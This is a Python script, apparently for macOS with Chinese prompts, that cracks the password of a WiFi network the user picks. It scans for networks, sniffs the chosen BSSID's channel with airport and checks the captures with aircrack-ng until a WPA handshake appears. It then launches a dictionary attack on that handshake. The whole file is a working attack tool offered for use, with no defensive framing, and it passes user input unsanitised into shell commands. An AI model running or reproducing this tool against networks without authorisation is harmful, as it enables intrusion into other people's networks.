import time
import os
time.sleep(1)
from exp10it import get_string_from_command
from multiprocessing import Process
import re
import time

dictFile="/tmp/dict.txt"
interface="en0"
tmpFile="/tmp/wificrack.txt"
wifiList="/tmp/wifilist.txt"
tmpResultFile="/tmp/wificrackresult.txt"

def worker1():
    print('airport %s sniff %s' % (interface, channel))
    os.system('airport %s sniff %s' % (interface, channel))



def killSniffProgress():
    sniffPID = get_string_from_command("ps -ax | ack '\d+(?=\s+\S+\s+\d+:\d+\.\d+\sairport.*sniff)' -o")
    print("sniffPID:%s"%sniffPID)
    os.system("kill %s"%sniffPID)

def dictCrack():
    print("dictCrack begin run >>aircrack-ng -w %s -b %s /tmp/*.cap | tee %s" % (dictFile,bssid,tmpResultFile))
    os.system("aircrack-ng -w %s -b %s /tmp/*.cap | tee %s" % (dictFile,bssid,tmpResultFile))

def worker2():
    while 1:
        time.sleep(60)
        cmd="aircrack-ng -w %s -b %s /tmp/*.cap | tee %s" % (tmpFile,bssid,tmpResultFile)
        print(">>%s"%cmd)
        os.system(cmd)

        with open(tmpResultFile, "r+") as f:
            content = f.read()
        if re.search(r"(no data)|(No valid)", content, re.I) or content == "":
            print("正在侦听中...")
            killSniffProgress()
            os.system("rm /tmp/*.cap")
            p1 = Process(target=worker1, args=())
            p1.start()

            continue
        else:
            break
    killSniffProgress()
    print("恭喜你，拿到一个handshake，准备开始破解密码")
    dictCrack()

def finish():
    os.system("rm %s"%wifiList)
    os.system("rm %s"%tmpFile)

if __name__=="__main__":
    print("\n__        ___  __ _    ____                _\n"+
    "\ \      / (_)/ _(_)  / ___|_ __ __ _  ___| | __\n"+
    "\ \ /\ / /| | |_| | | |   | '__/ _` |/ __| |/ /\n"+
    " \ V  V / | |  _| | | |___| | | (_| | (__|   < \n"+
    "  \_/\_/  |_|_| |_|  \____|_|  \__,_|\___|_|\_   v1.0\n");
    os.system("echo test > %s"%tmpFile)
    a = get_string_from_command("ack")
    if re.search(r"not found", a, re.I):
        input("请先安装ack,eg.brew install ack")

    a = get_string_from_command("airport")
    if re.search(r"not found", a, re.I):
        a = get_string_from_command('''find /System/Library -name "airport" | ack "^/.*/airport$"''')
        os.system("ln -s %s /usr/local/bin/airport" % a)

    a = get_string_from_command("aircrack-ng")
    if re.search(r"not found", a, re.I):
        input("请先安装aircrack-ng,eg.brew install aircrack-ng")

    tmp=get_string_from_command("airport -s")
    if tmp=="":
        os.system("cat %s"%wifiList)
    else:
        print(tmp)
        with open(wifiList,"a+") as f:
            f.write(tmp)
    bssid = input("请输入要破解的WIFI BSSID>")
    with open(wifiList, 'r+') as f:
        content = f.read()
        match = re.search(r"%s\s+\S+\s+(\d+)" % bssid, content, re.I)
        if not match:
            print("输入错误，找不到Channel")
        else:
            channel = match.group(1)
            print("BSSID's channel is %s,开始侦听..." % channel)
    #
    p1 = Process(target=worker1, args=())
    p2 = Process(target=worker2, args=())
    p1.start()
    p2.start()
    p1.join()
    p2.join()
    #
    finish();